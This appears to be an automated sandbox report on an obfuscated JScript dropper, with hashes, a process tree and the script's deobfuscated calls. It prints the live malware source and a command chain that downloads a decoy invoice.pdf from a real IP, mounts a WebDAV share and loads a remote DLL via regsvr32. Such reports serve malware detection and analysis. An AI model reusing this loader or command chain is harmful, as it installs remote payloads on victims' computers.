SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18440), with CRLF line terminators
Entropy (8bit):	4.900292950895436
TrID:
File name:	44462735347649449.js
File size:	21'780 bytes
MD5:	14973d2c9b2a71e1809e69eaec15d3ed
SHA1:	c0bf495ff1fdcc2afe1c72382d2ba96d13e955da
SHA256:	5b234190c6755383a78861faedd9c9b649b616829d9813917492d0798ff03c9c
SHA512:	c6a60e0f8d776fb71f32fbb20b30a78fcb018ec4c96562858adc10afe0af8aebd2a81c3ee003eb6d9be074772392659339f1ad5f328b31d733434808e7f544c9
SSDEEP:	384:12RptAMjPraZxIipkzhQh0mSiPSGIRnPvBWge7Ve6sWGe:12RLA4jgulYSGknHBte7Ve4Ge
TLSH:	77A27544DEAAE6146ADC13F2C1FF8446BB600ADDDF046CCD987A089472CA796C9D18FD
File Content Preview:	function ypjdbawe(){gjociftnj=[1031,3079,5127,4103,2055,3072];var svyuy=this[yjmvydcx+pasobavv+iongw+mtfat+ftkadh+qyxxfzjz+emhbs+aqmwt](this[twbveygsd+vczzy+wiehcgo+iongw+jlzupxkqv+yjmvydcx+aqmwt][zeszanjpe+iongw+ftkadh+pasobavv+aqmwt+ftkadh+xpoqhnm+thnte

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	03:08:26
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js"
Imagebase:	0x7ff7656a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:08:26
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Imagebase:	0x7ff739360000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:08:26
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:08:26
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:08:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:08:31
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff739360000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:08:31
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68ab20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:08:32
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:08:33
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:08:34
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1528,i,7753790518022009502,16897953190388194074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ypjdbawe() {	ypjdbawe() ➔ undefined
1	gjociftnj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var svyuy = this[yjmvydcx + pasobavv + iongw + mtfat + ftkadh + qyxxfzjz + emhbs + aqmwt] ( this[twbveygsd + vczzy + wiehcgo + iongw + jlzupxkqv + yjmvydcx + aqmwt][zeszanjpe + iongw + ftkadh + pasobavv + aqmwt + ftkadh + xpoqhnm + thntex + egztkesn + ftkadh + wiehcgo + aqmwt] ( twbveygsd + vczzy + wiehcgo + iongw + jlzupxkqv + yjmvydcx + aqmwt + kqocmryz + vczzy + zuhxrs + ftkadh + gdgnbi + gdgnbi ) [qyginq + ftkadh + anyaecyxy + qyginq + ftkadh + pasobavv + elrvb] ( ubkuqdx + adocutnx + dpgqocxn + ctzncb + tmjvv + zeszanjpe + pdbdzcg + qyginq + qyginq + dpgqocxn + fdnhrjqhb + xpcxbnrdh + tmjvv + pdbdzcg + vczzy + dpgqocxn + qyginq + gnrjbkywe + zeszanjpe + ofvvc + emhbs + aqmwt + iongw + ofvvc + gdgnbi + niustxtw + acoqccphj + pasobavv + emhbs + ftkadh + gdgnbi + gnrjbkywe + qyxxfzjz + emhbs + aqmwt + ftkadh + iongw + emhbs + pasobavv + aqmwt + jlzupxkqv + ofvvc + emhbs + pasobavv + gdgnbi + gnrjbkywe + fcpffril + ofvvc + wiehcgo + pasobavv + gdgnbi + ftkadh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cjbul = 0 ; cjbul < gjociftnj[gdgnbi + ftkadh + emhbs + anyaecyxy + aqmwt + zuhxrs] ; ++ cjbul )
4	{
5	if ( svyuy == gjociftnj[cjbul] )
6	{
7	svyuy = true;
8	break ;
9	}
10	}
11	if ( svyuy !== true )
12	this[twbveygsd + vczzy + wiehcgo + iongw + jlzupxkqv + yjmvydcx + aqmwt][xwtoj + zdyuah + jlzupxkqv + aqmwt] ( );
13	this[twbveygsd + vczzy + wiehcgo + iongw + jlzupxkqv + yjmvydcx + aqmwt][zeszanjpe + iongw + ftkadh + pasobavv + aqmwt + ftkadh + xpoqhnm + thntex + egztkesn + ftkadh + wiehcgo + aqmwt] ( twbveygsd + vczzy + wiehcgo + iongw + jlzupxkqv + yjmvydcx + aqmwt + kqocmryz + vczzy + zuhxrs + ftkadh + gdgnbi + gdgnbi ) [iongw + zdyuah + emhbs] ( wiehcgo + qswvmntax + elrvb + niustxtw + ulszwl + wiehcgo + niustxtw + yjmvydcx + ofvvc + yoxmadc + ftkadh + iongw + mtfat + zuhxrs + ftkadh + gdgnbi + gdgnbi + kqocmryz + ftkadh + qzbuclbt + ftkadh + niustxtw + uszxo + zeszanjpe + ofvvc + qswvmntax + qswvmntax + pasobavv + emhbs + elrvb + niustxtw + exsummzjo + qyxxfzjz + emhbs + agxpem + ofvvc + qnhjk + ftkadh + uszxo + twbveygsd + ftkadh + thntex + qyginq + ftkadh + fcjlrknfy + zdyuah + ftkadh + mtfat + aqmwt + niustxtw + uszxo + xpoqhnm + zdyuah + aqmwt + tqxamnuf + jlzupxkqv + gdgnbi + ftkadh + niustxtw + zrixtwrs + aqmwt + ftkadh + qswvmntax + yjmvydcx + zrixtwrs + gnrjbkywe + jlzupxkqv + emhbs + agxpem + ofvvc + jlzupxkqv + wiehcgo + ftkadh + kqocmryz + yjmvydcx + elrvb + gqjlhx + niustxtw + zuhxrs + aqmwt + aqmwt + yjmvydcx + tyxixe + ulszwl + ulszwl + zafzi + fvczng + lzemwb + kqocmryz + zafzi + nhthyic + lzemwb + kqocmryz + zafzi + kqocmryz + hkfpcgon + uzjkgyx + vdbrlb + ulszwl + jlzupxkqv + emhbs + agxpem + ofvvc + jlzupxkqv + wiehcgo + ftkadh + kqocmryz + yjmvydcx + zuhxrs + yjmvydcx + exsummzjo + fxlbn + fxlbn + mtfat + aqmwt + pasobavv + iongw + aqmwt + niustxtw + zrixtwrs + aqmwt + ftkadh + qswvmntax + yjmvydcx + zrixtwrs + gnrjbkywe + jlzupxkqv + emhbs + agxpem + ofvvc + jlzupxkqv + wiehcgo + ftkadh + kqocmryz + yjmvydcx + elrvb + gqjlhx + fxlbn + fxlbn + wiehcgo + qswvmntax + elrvb + niustxtw + ulszwl + wiehcgo + niustxtw + emhbs + ftkadh + aqmwt + niustxtw + zdyuah + mtfat + ftkadh + niustxtw + gnrjbkywe + gnrjbkywe + zafzi + fvczng + lzemwb + kqocmryz + zafzi + nhthyic + lzemwb + kqocmryz + zafzi + kqocmryz + hkfpcgon + uzjkgyx + vdbrlb + zovtqwwwe + bactu + bactu + bactu + bactu + gnrjbkywe + elrvb + pasobavv + agxpem + yoxmadc + yoxmadc + yoxmadc + iongw + ofvvc + ofvvc + aqmwt + gnrjbkywe + fxlbn + fxlbn + wiehcgo + qswvmntax + elrvb + niustxtw + ulszwl + wiehcgo + niustxtw + iongw + ftkadh + anyaecyxy + mtfat + agxpem + iongw + lzemwb + hkfpcgon + niustxtw + ulszwl + mtfat + niustxtw + gnrjbkywe + gnrjbkywe + zafzi + fvczng + lzemwb + kqocmryz + zafzi + nhthyic + lzemwb + kqocmryz + zafzi + kqocmryz + hkfpcgon + uzjkgyx + vdbrlb + zovtqwwwe + bactu + bactu + bactu + bactu + gnrjbkywe + elrvb + pasobavv + agxpem + yoxmadc + yoxmadc + yoxmadc + iongw + ofvvc + ofvvc + aqmwt + gnrjbkywe + hkfpcgon + fkzpqwopn + uzjkgyx + bactu + nhthyic + hkfpcgon + uzjkgyx + fvczng + vqpspwwi + uzjkgyx + hkfpcgon + nhthyic + hkfpcgon + nhthyic + nhthyic + kqocmryz + elrvb + gdgnbi + gdgnbi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll",0,false) ➔ 0
14	}
15	qyginq = "U";
16	qyginq = "U";
17	qyginq = "p";
18	qyginq = "R";
19	ctzncb = "f";
20	ctzncb = "x";
21	ctzncb = "m";
22	ctzncb = "A";
23	ctzncb = "d";
24	ctzncb = "J";
25	ctzncb = "Y";
26	ctzncb = "F";
27	ctzncb = "H";
28	ctzncb = "p";
29	ctzncb = "h";
30	ctzncb = "u";
31	ctzncb = "M";
32	ctzncb = "a";
33	ctzncb = "k";
34	ctzncb = "A";
35	ctzncb = "B";
36	ctzncb = "B";
37	ctzncb = "M";
38	ctzncb = "e";
39	ctzncb = "S";
40	ctzncb = "U";
41	ctzncb = "C";
42	ctzncb = "K";
43	ctzncb = "u";
44	ctzncb = "p";
45	ctzncb = "z";
46	ctzncb = "w";
47	ctzncb = "X";
48	ctzncb = "H";
49	ctzncb = "I";
50	ctzncb = "x";
51	ctzncb = "z";
52	ctzncb = "Z";
53	ctzncb = "c";
54	ctzncb = "Q";
55	ctzncb = "w";
56	ctzncb = "v";
57	ctzncb = "d";
58	ctzncb = "Y";
59	xpoqhnm = "g";
60	xpoqhnm = "w";
61	xpoqhnm = "q";
62	xpoqhnm = "h";
63	xpoqhnm = "l";
64	xpoqhnm = "h";
65	xpoqhnm = "o";
66	xpoqhnm = "O";
67	tqxamnuf = "u";
68	tqxamnuf = "k";
69	tqxamnuf = "P";
70	tqxamnuf = "v";
71	tqxamnuf = "m";
72	tqxamnuf = "y";
73	tqxamnuf = "s";
74	tqxamnuf = "a";
75	tqxamnuf = "w";
76	tqxamnuf = "c";
77	tqxamnuf = "I";
78	tqxamnuf = "o";
79	tqxamnuf = "A";
80	tqxamnuf = "v";
81	tqxamnuf = "x";
82	tqxamnuf = "F";
83	tqxamnuf = "x";
84	tqxamnuf = "E";
85	tqxamnuf = "S";
86	tqxamnuf = "s";
87	tqxamnuf = "J";
88	tqxamnuf = "m";
89	tqxamnuf = "F";
90	tqxamnuf = "s";
91	tqxamnuf = "T";
92	tqxamnuf = "a";
93	tqxamnuf = "C";
94	tqxamnuf = "z";
95	tqxamnuf = "o";
96	tqxamnuf = "F";
97	gqjlhx = "F";
98	gqjlhx = "m";
99	gqjlhx = "D";
100	gqjlhx = "b";
101	gqjlhx = "x";
102	gqjlhx = "B";
103	gqjlhx = "S";
104	gqjlhx = "R";
105	gqjlhx = "h";
106	gqjlhx = "v";
107	gqjlhx = "l";
108	gqjlhx = "Z";
109	gqjlhx = "q";
110	gqjlhx = "f";
111	agxpem = "L";
112	agxpem = "a";
113	agxpem = "C";
114	agxpem = "j";
115	agxpem = "J";
116	agxpem = "Z";
117	agxpem = "M";
118	agxpem = "Z";
119	agxpem = "Q";
120	agxpem = "D";
121	agxpem = "H";
122	agxpem = "U";
123	agxpem = "g";
124	agxpem = "H";
125	agxpem = "o";
126	agxpem = "g";
127	agxpem = "U";
128	agxpem = "b";
129	agxpem = "Z";
130	agxpem = "A";
131	agxpem = "H";
132	agxpem = "O";
133	agxpem = "s";
134	agxpem = "v";
135	agxpem = "n";
136	agxpem = "H";
137	agxpem = "U";
138	agxpem = "F";
139	agxpem = "r";
140	agxpem = "c";
141	agxpem = "f";
142	agxpem = "t";
143	agxpem = "h";
144	agxpem = "l";
145	agxpem = "v";
146	yoxmadc = "R";
147	yoxmadc = "K";
148	yoxmadc = "l";
149	yoxmadc = "z";
150	yoxmadc = "v";
151	yoxmadc = "u";
152	yoxmadc = "g";
153	yoxmadc = "f";
154	yoxmadc = "N";
155	yoxmadc = "b";
156	yoxmadc = "k";
157	yoxmadc = "I";
158	yoxmadc = "o";
159	yoxmadc = "W";
160	yoxmadc = "w";
161	wiehcgo = "g";
162	wiehcgo = "E";
163	wiehcgo = "S";
164	wiehcgo = "I";
165	wiehcgo = "k";
166	wiehcgo = "z";
167	wiehcgo = "o";
168	wiehcgo = "n";
169	wiehcgo = "Q";
170	wiehcgo = "c";
171	acoqccphj = "w";
172	acoqccphj = "W";
173	acoqccphj = "O";
174	acoqccphj = "f";
175	acoqccphj = "T";
176	acoqccphj = "U";
177	acoqccphj = "f";
178	acoqccphj = "P";
179	acoqccphj = "C";
180	acoqccphj = "K";
181	acoqccphj = "R";
182	acoqccphj = "r";
183	acoqccphj = "C";
184	acoqccphj = "n";
185	acoqccphj = "x";
186	acoqccphj = "t";
187	acoqccphj = "E";
188	acoqccphj = "M";
189	acoqccphj = "K";
190	acoqccphj = "g";
191	acoqccphj = "p";
192	acoqccphj = "u";
193	acoqccphj = "H";
194	acoqccphj = "r";
195	acoqccphj = "P";
196	xwtoj = "C";
197	xwtoj = "G";
198	xwtoj = "m";
199	xwtoj = "j";
200	xwtoj = "w";
201	xwtoj = "I";
202	xwtoj = "n";
203	xwtoj = "o";
204	xwtoj = "O";
205	xwtoj = "w";
206	xwtoj = "I";
207	xwtoj = "H";
208	xwtoj = "l";
209	xwtoj = "J";
210	xwtoj = "w";
211	xwtoj = "P";
212	xwtoj = "y";
213	xwtoj = "m";
214	xwtoj = "T";
215	xwtoj = "D";
216	xwtoj = "J";
217	xwtoj = "q";
218	xwtoj = "Q";
219	jlzupxkqv = "Z";
220	jlzupxkqv = "j";
221	jlzupxkqv = "i";
222	qyxxfzjz = "H";
223	qyxxfzjz = "A";
224	qyxxfzjz = "k";
225	qyxxfzjz = "y";
226	qyxxfzjz = "F";
227	qyxxfzjz = "l";
228	qyxxfzjz = "O";
229	qyxxfzjz = "y";
230	qyxxfzjz = "Q";
231	qyxxfzjz = "j";
232	qyxxfzjz = "B";
233	qyxxfzjz = "f";
234	qyxxfzjz = "j";
235	qyxxfzjz = "F";
236	qyxxfzjz = "Y";
237	qyxxfzjz = "D";
238	qyxxfzjz = "H";
239	qyxxfzjz = "j";
240	qyxxfzjz = "T";
241	qyxxfzjz = "b";
242	qyxxfzjz = "y";
243	qyxxfzjz = "X";
244	qyxxfzjz = "Y";
245	qyxxfzjz = "p";
246	qyxxfzjz = "K";
247	qyxxfzjz = "V";
248	qyxxfzjz = "L";
249	qyxxfzjz = "s";
250	qyxxfzjz = "Y";
251	qyxxfzjz = "W";
252	qyxxfzjz = "l";
253	qyxxfzjz = "Q";
254	qyxxfzjz = "V";
255	qyxxfzjz = "L";
256	qyxxfzjz = "T";
257	qyxxfzjz = "G";
258	qyxxfzjz = "m";
259	qyxxfzjz = "I";
260	exsummzjo = "d";
261	exsummzjo = "x";
262	exsummzjo = "L";
263	exsummzjo = "q";
264	exsummzjo = "b";
265	exsummzjo = "T";
266	exsummzjo = "v";
267	exsummzjo = "l";
268	exsummzjo = "j";
269	exsummzjo = "G";
270	exsummzjo = "B";
271	exsummzjo = "q";
272	exsummzjo = "I";
273	exsummzjo = "f";
274	exsummzjo = "V";
275	exsummzjo = "X";
276	exsummzjo = "W";
277	exsummzjo = "y";
278	exsummzjo = "i";
279	exsummzjo = "f";
280	exsummzjo = "e";
281	exsummzjo = "f";
282	exsummzjo = "L";
283	exsummzjo = "p";
284	exsummzjo = "Q";
285	exsummzjo = "r";
286	exsummzjo = "Q";
287	exsummzjo = "j";
288	exsummzjo = "B";
289	exsummzjo = "Y";
290	exsummzjo = "K";
291	exsummzjo = "U";
292	exsummzjo = "N";
293	exsummzjo = "f";
294	exsummzjo = "Q";
295	exsummzjo = "O";
296	exsummzjo = "l";
297	exsummzjo = "\"";
298	egztkesn = "o";
299	egztkesn = "s";
300	egztkesn = "Q";
301	egztkesn = "s";
302	egztkesn = "v";
303	egztkesn = "L";
304	egztkesn = "I";
305	egztkesn = "C";
306	egztkesn = "W";
307	egztkesn = "j";
308	fdnhrjqhb = "Q";
309	fdnhrjqhb = "E";
310	fdnhrjqhb = "J";
311	fdnhrjqhb = "l";
312	fdnhrjqhb = "i";
313	fdnhrjqhb = "z";
314	fdnhrjqhb = "Z";
315	fdnhrjqhb = "W";
316	fdnhrjqhb = "W";
317	fdnhrjqhb = "d";
318	fdnhrjqhb = "V";
319	fdnhrjqhb = "U";
320	fdnhrjqhb = "b";
321	fdnhrjqhb = "p";
322	fdnhrjqhb = "B";
323	fdnhrjqhb = "R";
324	fdnhrjqhb = "p";
325	fdnhrjqhb = "C";
326	fdnhrjqhb = "V";
327	fdnhrjqhb = "U";
328	fdnhrjqhb = "e";
329	fdnhrjqhb = "b";
330	fdnhrjqhb = "v";
331	fdnhrjqhb = "w";
332	fdnhrjqhb = "H";
333	fdnhrjqhb = "H";
334	fdnhrjqhb = "U";
335	fdnhrjqhb = "q";
336	fdnhrjqhb = "a";
337	fdnhrjqhb = "K";
338	fdnhrjqhb = "n";
339	fdnhrjqhb = "q";
340	fdnhrjqhb = "I";
341	fdnhrjqhb = "N";
342	twbveygsd = "l";
343	twbveygsd = "u";
344	twbveygsd = "q";
345	twbveygsd = "n";
346	twbveygsd = "b";
347	twbveygsd = "a";
348	twbveygsd = "w";
349	twbveygsd = "Y";
350	twbveygsd = "O";
351	twbveygsd = "d";
352	twbveygsd = "K";
353	twbveygsd = "S";
354	twbveygsd = "q";
355	twbveygsd = "x";
356	twbveygsd = "w";
357	twbveygsd = "l";
358	twbveygsd = "j";
359	twbveygsd = "i";
360	twbveygsd = "k";
361	twbveygsd = "P";
362	twbveygsd = "e";
363	twbveygsd = "R";
364	twbveygsd = "O";
365	twbveygsd = "o";
366	twbveygsd = "P";
367	twbveygsd = "b";
368	twbveygsd = "x";
369	twbveygsd = "c";
370	twbveygsd = "v";
371	twbveygsd = "m";
372	twbveygsd = "Y";
373	twbveygsd = "f";
374	twbveygsd = "n";
375	twbveygsd = "z";
376	twbveygsd = "W";
377	gdgnbi = "i";
378	gdgnbi = "I";
379	gdgnbi = "Y";
380	gdgnbi = "i";
381	gdgnbi = "T";
382	gdgnbi = "t";
383	gdgnbi = "M";
384	gdgnbi = "B";
385	gdgnbi = "B";
386	gdgnbi = "y";
387	gdgnbi = "X";
388	gdgnbi = "F";
389	gdgnbi = "g";
390	gdgnbi = "a";
391	gdgnbi = "x";
392	gdgnbi = "l";
393	gdgnbi = "l";
394	tyxixe = "Q";
395	tyxixe = "I";
396	tyxixe = "d";
397	tyxixe = "J";
398	tyxixe = "Y";
399	tyxixe = "h";
400	tyxixe = "C";
401	tyxixe = "S";
402	tyxixe = "m";
403	tyxixe = "t";
404	tyxixe = "D";
405	tyxixe = "G";
406	tyxixe = "z";
407	tyxixe = "R";
408	tyxixe = "J";
409	tyxixe = "K";
410	tyxixe = "W";
411	tyxixe = "U";
412	tyxixe = "u";
413	tyxixe = "n";
414	tyxixe = "u";
415	tyxixe = "n";
416	tyxixe = ":";
417	zeszanjpe = "z";
418	zeszanjpe = "V";
419	zeszanjpe = "l";
420	zeszanjpe = "j";
421	zeszanjpe = "x";
422	zeszanjpe = "S";
423	zeszanjpe = "n";
424	zeszanjpe = "r";
425	zeszanjpe = "X";
426	zeszanjpe = "t";
427	zeszanjpe = "c";
428	zeszanjpe = "z";
429	zeszanjpe = "C";
430	qnhjk = "m";
431	qnhjk = "V";
432	qnhjk = "Y";
433	qnhjk = "F";
434	qnhjk = "O";
435	qnhjk = "u";
436	qnhjk = "n";
437	qnhjk = "n";
438	qnhjk = "w";
439	qnhjk = "Z";
440	qnhjk = "i";
441	qnhjk = "q";
442	qnhjk = "y";
443	qnhjk = "g";
444	qnhjk = "U";
445	qnhjk = "Q";
446	qnhjk = "G";
447	qnhjk = "d";
448	qnhjk = "t";
449	qnhjk = "G";
450	qnhjk = "T";
451	qnhjk = "i";
452	qnhjk = "w";
453	qnhjk = "M";
454	qnhjk = "t";
455	qnhjk = "C";
456	qnhjk = "W";
457	qnhjk = "Y";
458	qnhjk = "d";
459	qnhjk = "k";
460	thntex = "x";
461	thntex = "T";
462	thntex = "q";
463	thntex = "A";
464	thntex = "f";
465	thntex = "I";
466	thntex = "n";
467	thntex = "z";
468	thntex = "L";
469	thntex = "w";
470	thntex = "G";
471	thntex = "P";
472	thntex = "m";
473	thntex = "Z";
474	thntex = "W";
475	thntex = "s";
476	thntex = "m";
477	thntex = "m";
478	thntex = "R";
479	thntex = "f";
480	thntex = "y";
481	thntex = "I";
482	thntex = "j";
483	thntex = "d";
484	thntex = "q";
485	thntex = "l";
486	thntex = "M";
487	thntex = "l";
488	thntex = "N";
489	thntex = "c";
490	thntex = "H";
491	thntex = "u";
492	thntex = "b";
493	qswvmntax = "L";
494	qswvmntax = "C";
495	qswvmntax = "I";
496	qswvmntax = "p";
497	qswvmntax = "F";
498	qswvmntax = "y";
499	qswvmntax = "X";
500	qswvmntax = "W";
501	qswvmntax = "U";
502	qswvmntax = "R";
503	qswvmntax = "E";
504	qswvmntax = "N";
505	qswvmntax = "U";
506	qswvmntax = "H";
507	qswvmntax = "E";
508	qswvmntax = "I";
509	qswvmntax = "N";
510	qswvmntax = "j";
511	qswvmntax = "Q";
512	qswvmntax = "r";
513	qswvmntax = "M";
514	qswvmntax = "t";
515	qswvmntax = "u";
516	qswvmntax = "T";
517	qswvmntax = "p";
518	qswvmntax = "G";
519	qswvmntax = "x";
520	qswvmntax = "Q";
521	qswvmntax = "J";
522	qswvmntax = "l";
523	qswvmntax = "z";
524	qswvmntax = "f";
525	qswvmntax = "l";
526	qswvmntax = "B";
527	qswvmntax = "d";
528	qswvmntax = "y";
529	qswvmntax = "o";
530	qswvmntax = "m";
531	ubkuqdx = "N";
532	ubkuqdx = "i";
533	ubkuqdx = "D";
534	ubkuqdx = "t";
535	ubkuqdx = "h";
536	ubkuqdx = "R";
537	ubkuqdx = "E";
538	ubkuqdx = "o";
539	ubkuqdx = "o";
540	ubkuqdx = "s";
541	ubkuqdx = "i";
542	ubkuqdx = "O";
543	ubkuqdx = "z";
544	ubkuqdx = "Q";
545	ubkuqdx = "A";
546	ubkuqdx = "m";
547	ubkuqdx = "Z";
548	ubkuqdx = "H";
549	ubkuqdx = "Q";
550	ubkuqdx = "j";
551	ubkuqdx = "m";
552	ubkuqdx = "F";
553	ubkuqdx = "j";
554	ubkuqdx = "Z";
555	ubkuqdx = "H";
556	zuhxrs = "k";
557	zuhxrs = "u";
558	zuhxrs = "C";
559	zuhxrs = "l";
560	zuhxrs = "u";
561	zuhxrs = "g";
562	zuhxrs = "l";
